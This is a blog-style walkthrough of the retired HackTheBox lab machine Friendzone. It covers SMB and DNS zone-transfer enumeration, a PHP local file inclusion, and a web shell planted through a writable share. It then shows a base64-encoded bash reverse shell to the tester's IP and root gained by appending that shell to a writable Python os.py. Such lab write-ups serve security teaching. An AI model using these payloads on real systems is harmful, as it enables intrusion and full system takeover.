Summary:

Every now and then I’ll go back and do an old box on HTB, it serves as a nice break from all the Windows/AD headscratchers that’s been released recently. It’s also interesting to see how much the boxes have changed over the years. While the current boxes have much more realistic scenarios and often feature newly discovered vulnerabilities, older ones are more CTF-like and full of rabbit holes. Friendzone was released in February 2019, so the box is themed around Valentines with lots of trolls. It starts with finding credentials in an open SMB share and discovering a subdomain via DNS zone transfer. The subdomain hosts an admin portal vulnerable to LFI, which can be exploited to get a shell. Privilege escalation involves a simple Python module hijack.


Enumeration:

Nmap:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ sudo nmap --min-rate 1000 -p- 10.129.26.47

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 21:49 ACDT
Nmap scan report for 10.129.26.47
Host is up (0.26s latency).
Not shown: 65528 closed tcp ports (reset)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 70.43 seconds


┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ sudo nmap -A -p 21,22,53,80,139,443,445 10.129.26.47

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 21:52 ACDT
Nmap scan report for 10.129.26.47
Host is up (0.26s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Friend Zone Escape software
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
| tls-alpn: 
|_  http/1.1
|_http-title: 404 Not Found
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2025-11-13T13:22:39+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2025-11-13T11:22:39
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -39m58s, deviation: 1h09m16s, median: 0s

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   270.04 ms 10.10.14.1
2   268.37 ms 10.129.26.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.65 seconds


Nmap found 7 open ports, including ones that are not commonly seen on Linux (RPC, NetBIOS). The SMB script even misidentified the OS as Windows. FTP’s available, but with no anonymous access and a secure version, not much could be done from an unauthenticated standpoint. There’s also HTTP and HTTPS, but they’re running two different sites based on the page titles. The SSL certificate has a domain friendzone.red, I’ll add it to /etc/hosts.

TCP445 - SMB:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ netexec smb friendzone.red -u '' -p '' --shares

SMB         10.129.26.47    445    FRIENDZONE       [*] Unix - Samba (name:FRIENDZONE) (domain:) (signing:False) (SMBv1:True) 
SMB         10.129.26.47    445    FRIENDZONE       [+] \: (Guest)
SMB         10.129.26.47    445    FRIENDZONE       [*] Enumerated shares
SMB         10.129.26.47    445    FRIENDZONE       Share           Permissions     Remark
SMB         10.129.26.47    445    FRIENDZONE       -----           -----------     ------
SMB         10.129.26.47    445    FRIENDZONE       print$                          Printer Drivers
SMB         10.129.26.47    445    FRIENDZONE       Files                           FriendZone Samba Server Files /etc/Files
SMB         10.129.26.47    445    FRIENDZONE       general         READ            FriendZone Samba Server Files
SMB         10.129.26.47    445    FRIENDZONE       Development     READ,WRITE      FriendZone Samba Server Files
SMB         10.129.26.47    445    FRIENDZONE       IPC$                            IPC Service (FriendZone server (Samba, Ubuntu))


Guest login is enabled, and it has access to two shares, including write permissions on Development. Files is not accessible, but its remark field exposed the server path of the share. The other shares don’t have this remark, but I can probably make an educated guess that they’re located at /etc/general and /etc/Development respectively. This will become important later on.

general:
Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ smbclient -N \\\\friendzone.red\\general

Try "help" to get a list of possible commands.


smb: \> ls

 
  .                                   D        0  Thu Jan 17 06:40:51 2019
  ..                                  D        0  Wed Sep 14 00:26:24 2022
  creds.txt                           N       57  Wed Oct 10 10:22:42 2018

		3545824 blocks of size 1024. 1651352 blocks available

It has a single file that contains admin credentials, but it’s unknown what service it’s for.

creds for the admin THING:

admin:WORKWORKHhallelujah@#
Development:
Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ smbclient -N \\\\friendzone.red\\Development

Try "help" to get a list of possible commands.


smb: \> ls

 
  .                                   D        0  Thu Nov 13 22:08:08 2025
  ..                                  D        0  Wed Sep 14 00:26:24 2022

		3545824 blocks of size 1024. 1651348 blocks available

Development is empty, but I’m able to upload files to it. If this is a Windows machine, I may upload NTLM hash-stealing files in the hope that someone opens it. Unfortunately this won’t work on Linux.

TCP80 - HTTP:

The home page is already trolling, but aside from the meme there isn’t much else to look at. The email has another domain friendzoneportal.red, I’ve added it to /etc/hosts but it pointed back to the same page.

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ gobuster dir -u http://friendzone.red -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://friendzone.red
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress            (Status: 301) [Size: 320] [--> http://friendzone.red/wordpress/]
Progress: 21054 / 220560 (9.55%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 21090 / 220560 (9.56%)
===============================================================
Finished
===============================================================


gobuster did find /wordpress, but it turned out to be just an empty directory listing.

I don’t think there’s anything else on here.

TCP443 - HTTPS:

The HTTPS page is yet another troll.

And so is friendzoneportal.red.

However, the page source of the first site does suggest there’s something at /js/js:

/js/js:

It shows a base64 string, but decodes to gibberish.

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ echo eFY2cVJpZTIzMDE3NjMwMzUzMjYxREtwMkFGRUNw | base64 -d
xV6qRie23017630353261DKp2AFECp

Once again, the page source gives more hints:

Not entirely sure what “times” is referring to here, but I suppose “zones” is a hint for DNS zone transfer.

TCP53 - DNS:

A zone transfer is the process of synchronizing domain records between two DNS servers. This can be initialized via dig, in which the server will send back all information it holds for the domain, including all records as well as subdomain entries. Typically a zone transfer only happens over TCP, so it’s something always worth checking whenever TCP53 is found open.

I’ll do a zone transfer for both domains. It found several subdomains for friendzone.red.

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ dig axfr friendzone.red @10.129.26.47

; <<>> DiG 9.20.9-1-Debian <<>> axfr friendzone.red @10.129.26.47
;; global options: +cmd
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.		604800	IN	AAAA	::1
friendzone.red.		604800	IN	NS	localhost.
friendzone.red.		604800	IN	A	127.0.0.1
administrator1.friendzone.red. 604800 IN A	127.0.0.1
hr.friendzone.red.	604800	IN	A	127.0.0.1
uploads.friendzone.red.	604800	IN	A	127.0.0.1
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 269 msec
;; SERVER: 10.129.26.47#53(10.129.26.47) (TCP)
;; WHEN: Thu Nov 13 22:37:34 ACDT 2025
;; XFR size: 8 records (messages 1, bytes 289)


And a few more for friendzoneportal.red.

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ dig axfr friendzoneportal.red @10.129.26.47

; <<>> DiG 9.20.9-1-Debian <<>> axfr friendzoneportal.red @10.129.26.47
;; global options: +cmd
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red.	604800	IN	AAAA	::1
friendzoneportal.red.	604800	IN	NS	localhost.
friendzoneportal.red.	604800	IN	A	127.0.0.1
admin.friendzoneportal.red. 604800 IN	A	127.0.0.1
files.friendzoneportal.red. 604800 IN	A	127.0.0.1
imports.friendzoneportal.red. 604800 IN	A	127.0.0.1
vpn.friendzoneportal.red. 604800 IN	A	127.0.0.1
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 269 msec
;; SERVER: 10.129.26.47#53(10.129.26.47) (TCP)
;; WHEN: Thu Nov 13 22:43:23 ACDT 2025
;; XFR size: 9 records (messages 1, bytes 309)


In total, there’s 7 subdomains, I’ll add all of them to /etc/hosts. This is probably the most entries I’ve ever had in the hosts file.

# HTB machine FriendZone
10.129.26.47	friendzone.red	friendzoneportal.red	administrator1.friendzone.red	hr.friendzone.red	uploads.friendzone.red	admin.friendzoneportal.red	files.friendzoneportal.red	imports.friendzoneportal.red	vpn.friendzoneportal.red


hr, files, imports and vpn either returned 404 or the original troll page, but the rest does have something to look at.

Subdomains:

uploads.friendzone.red:

uploads is a very basic upload page. I’ve uploaded a test image, and the page returned a success message with a timestamp.

The page claims to only accept images, but it seemingly takes any files. Uploading a PHP web shell also returned the same success message.

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ gobuster dir -u https://uploads.friendzone.red -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php -k

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://uploads.friendzone.red
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 302]
/files                (Status: 301) [Size: 334] [--> https://uploads.friendzone.red/files/]
/upload.php           (Status: 200) [Size: 38]
Progress: 17394 / 441120 (3.94%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 17414 / 441120 (3.95%)
===============================================================
Finished
===============================================================


gobuster also found /files, but neither my uploaded image nor the web shell could be found there.

Turns out the page still shows “success” even if the request is broken.

Given the context, this upload function seems rather random. I doubt it’s even implemented on the backend.

Sending a GET request to /upload.php also results in this:

admin.friendzoneportal.red:

admin is a login page, but any credentials (or blank) would work.

It doesn’t offer much, other than suggesting to check the other admin page.

administrator1.friendzone.red:

administrator1 is yet another login form. This time authentication seems to be set up properly. Wrong credentials results in this:

Interestingly, the page source also contains a register form:

But it’s specifically hidden by some CSS:

Anyway, it’s not needed, as the SMB creds worked here. The page suggests checking /dashboard.php on login.

Admin Dashboard:

It’s an under-construction and untested page. The error message indicated that some parameters were missing.

I’ll try the default params as suggested, and got this:

The image seems to be directly referenced via image_id, and could potentially be vulnerable to path traversal/file inclusion attacks. I’ve tried image_id=../../../../../../../../etc/passwd, and it returned a broken image.

Looking at Burp history, instead of directly including the file contents, it’s only appending the user input to the image source.

This resulted in a second GET request to /etc/passwd, which obviously failed.


Foothold:

PHP File Inclusion:

gobuster also found /timestamp.php:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ gobuster dir -u https://administrator1.friendzone.red -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php -k

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://administrator1.friendzone.red
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 349] [--> https://administrator1.friendzone.red/images/]
/.php                 (Status: 403) [Size: 309]
/login.php            (Status: 200) [Size: 7]
/dashboard.php        (Status: 200) [Size: 101]
/timestamp.php        (Status: 200) [Size: 36]
Progress: 53646 / 441120 (12.16%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 53651 / 441120 (12.16%)
===============================================================
Finished
===============================================================


Visiting the page shows this:

The format looks identical to the timestamp seen on the bottom of /dashboard.php. I suspect the page is including other PHP files specified in the pagename param. Setting pagename=login resulted in this:

I’ll retrieve the encoded source code using PHP wrappers. Doing pagename=php://filter/convert.base64-encode/resource=dashboard returned a long base64 string.

I’ll get the page’s source code using PHP filters.

When decoded, I get its contents:

<?php

//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];

if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
 echo "<br><br><br>";

echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";

if(!isset($_GET["image_id"])){
  echo "<br><br>";
  echo "<center><p>image_name param is missed !</p></center>";
  echo "<center><p>please enter it to show the image</p></center>";
  echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
 }else{
 $image = $_GET["image_id"];
 echo "<center><img src='images/$image'></center>";

 echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
 include($_GET["pagename"].".php");
 //echo $_GET["pagename"];
 }
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>


The vulnerable line is include($_GET["pagename"].".php");. As suspected, it adds the .php extension to the user input and directly includes the file in the page output.

Remote File Inclusion (Fail):

Since it’s not prepending anything to pagename, it may be possible for remote file inclusion as well.

I’ve created a simple web shell and started an HTTP server to host it.

<?php system($_GET['cmd']); ?>


Visiting https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=http://10.10.14.66/shell.php&cmd=id should include my web shell and execute the id command, but no output appeared at the bottom:

There’s no hit on my HTTP server either:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I’ve also tried hosting the web shell in an SMB share, and referenced it in pagename via a UNC path, but nothing happened as well. allow_url_include is likely disabled on the server.

SMB Upload:

This actually reminded me that I have write access to one of the SMB shares. I’ll upload the web shell to Development:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ smbclient -N \\\\friendzone.red\\Development

Try "help" to get a list of possible commands.


smb: \> put shell.php

putting file shell.php as \shell.php (0.0 kb/s) (average 0.0 kb/s)

Based on the SMB enumeration earlier, the server path for the share is likely /etc/Development, so I can reference the webshell via its full path. Visiting https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=id results in this:

That’s code execution!

I’ll now get a proper reverse shell. When executing over a web shell, I always prefer using base64-encoded payloads, as it avoids a lot of bad characters:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ echo -n '/bin/bash -i >& /dev/tcp/10.10.14.66/8001 0>&1' | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY2LzgwMDEgMD4mMQ==

I’ll visit:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY2LzgwMDEgMD4mMQ==%20|%20base64%20-d%20|%20bash

The page hangs, but on my listener, there’s a shell:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.26.47] 58898
bash: cannot set terminal process group (765): Inappropriate ioctl for device
bash: no job control in this shell


www-data@FriendZone:/var/www/admin$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Escalation from www-data:

Web Folder:

FriendZone
www-data@FriendZone:/var/www$ ls -la

total 36
drwxr-xr-x  8 root root 4096 Sep 13  2022 .
drwxr-xr-x 12 root root 4096 Sep 13  2022 ..
drwxr-xr-x  3 root root 4096 Sep 13  2022 admin
drwxr-xr-x  4 root root 4096 Sep 13  2022 friendzone
drwxr-xr-x  2 root root 4096 Sep 13  2022 friendzoneportal
drwxr-xr-x  2 root root 4096 Sep 13  2022 friendzoneportaladmin
drwxr-xr-x  3 root root 4096 Sep 13  2022 html
-rw-r--r--  1 root root  116 Oct  6  2018 mysql_data.conf
drwxr-xr-x  3 root root 4096 Sep 13  2022 uploads

It has lots of folders, each belonging to a subdomain. Most of them are empty or contain nothing useful.

There’s also mysql_data.conf:

for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ


Database creds are present, but MySQL is not running on the box.

FriendZone
www-data@FriendZone:/var/www$ netstat -tulnp

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 10.129.26.47:53         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::445                  :::*                    LISTEN      -                   
tcp6       0      0 :::139                  :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
udp    29952      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp     2240      0 10.129.26.47:53         0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:53            0.0.0.0:*                           -                   
udp    20928      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp     6144      0 10.129.255.255:137      0.0.0.0:*                           -                   
udp     4608      0 10.129.26.47:137        0.0.0.0:*                           -                   
udp     6144      0 0.0.0.0:137             0.0.0.0:*                           -                   
udp     1280      0 10.129.255.255:138      0.0.0.0:*                           -                   
udp     7744      0 10.129.26.47:138        0.0.0.0:*                           -                   
udp     1280      0 0.0.0.0:138             0.0.0.0:*                           -

However, there’s a user called friend:

FriendZone
www-data@FriendZone:/var/www$ cat /etc/passwd | grep -v nologin | grep -v false

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
friend:x:1000:1000:friend,,,:/home/friend:/bin/bash

And the creds can be reused over SSH.

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ ssh friend@friendzone.red

Warning: Permanently added 'friendzone.red' (ED25519) to the list of known hosts.
friend@friendzone.red's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3


friend@FriendZone:~$ id

uid=1000(friend) gid=1000(friend) groups=1000(friend),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

User Flag:

FriendZone
friend@FriendZone:~$ cat user.txt

85f7a897************************

Escalation from friend:

Cron Jobs:

Root is running /opt/server_admin/reporter.py every few minutes.

FriendZone
friend@FriendZone:~$ ./pspy64

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/11/13 16:25:20 CMD: UID=1000  PID=3262   | ./pspy64 
2025/11/13 16:25:20 CMD: UID=0     PID=3245   | 
2025/11/13 16:25:20 CMD: UID=1000  PID=3227   | -bash 
2025/11/13 16:25:20 CMD: UID=1000  PID=3224   | sshd: friend@pts/1   
2025/11/13 16:25:20 CMD: UID=1000  PID=3188   | (sd-pam) 
2025/11/13 16:25:20 CMD: UID=1000  PID=3187   | /lib/systemd/systemd --user
..SNIP..
2025/11/13 16:25:20 CMD: UID=0     PID=2      | 
2025/11/13 16:25:20 CMD: UID=0     PID=1      | /sbin/init splash 
2025/11/13 16:26:01 CMD: UID=0     PID=3273   | /usr/bin/python /opt/server_admin/reporter.py 
2025/11/13 16:26:01 CMD: UID=0     PID=3272   | /bin/sh -c /opt/server_admin/reporter.py 
2025/11/13 16:26:01 CMD: UID=0     PID=3271   | /usr/sbin/CRON -f
..SNIP..
2025/11/13 16:28:01 CMD: UID=0     PID=3293   | /usr/bin/python /opt/server_admin/reporter.py 
2025/11/13 16:28:01 CMD: UID=0     PID=3292   | /bin/sh -c /opt/server_admin/reporter.py 
2025/11/13 16:28:01 CMD: UID=0     PID=3291   | /usr/sbin/CRON -f

However, the script itself does nothing:

#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer


friend doesn’t own this script, nor have write access.

FriendZone
friend@FriendZone:~$ ls -la /opt/server_admin/reporter.py

-rwxr--r-- 1 root root 424 Jan 16  2019 /opt/server_admin/reporter.py

However, it can modify /user/lib/python2.7/os.py:

FriendZone
friend@FriendZone:~$ find / -path /proc -prune -o -type f -writable 2>/dev/null

/etc/Development/shell.php
/var/mail/friend
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.access
/sys/fs/cgroup/memory/cgroup.event_control
/sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/cgroup.clone_children
..SNIP..
/usr/lib/python2.7/os.pyc
/usr/lib/python2.7/os.py
/proc

Python Module Hijack:

According to Python docs,

A module is a file containing Python definitions and statements. The file name is the module name with the suffix .py appended.

A module can contain executable statements as well as function definitions. They are executed only the first time the module name is encounted in an import statement.

Basically, when reporter.py imports the os module, it loads and executes os.py first, making its namespaces and functions available. Since I have write access to the module, I effective have control over reporter.py (and hence the cron job) as well.

I’ll append a system call to the library, reusing the reverse shell payload from earlier:

FriendZone
friend@FriendZone:~$ echo 'system("echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY2LzgwMDEgMD4mMQ== | base64 -d | bash")' >> /usr/lib/python2.7/os.py

After a minute or so, a root shell was sent back:

Kali
┌──(ch3ng㉿localhost)-[~/machines/friendzone]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.26.47] 59564
bash: cannot set terminal process group (3416): Inappropriate ioctl for device
bash: no job control in this shell


root@FriendZone:~# id

uid=0(root) gid=0(root) groups=0(root)

Root Flag:

FriendZone
root@FriendZone:~# cat root.txt

67a0b215************************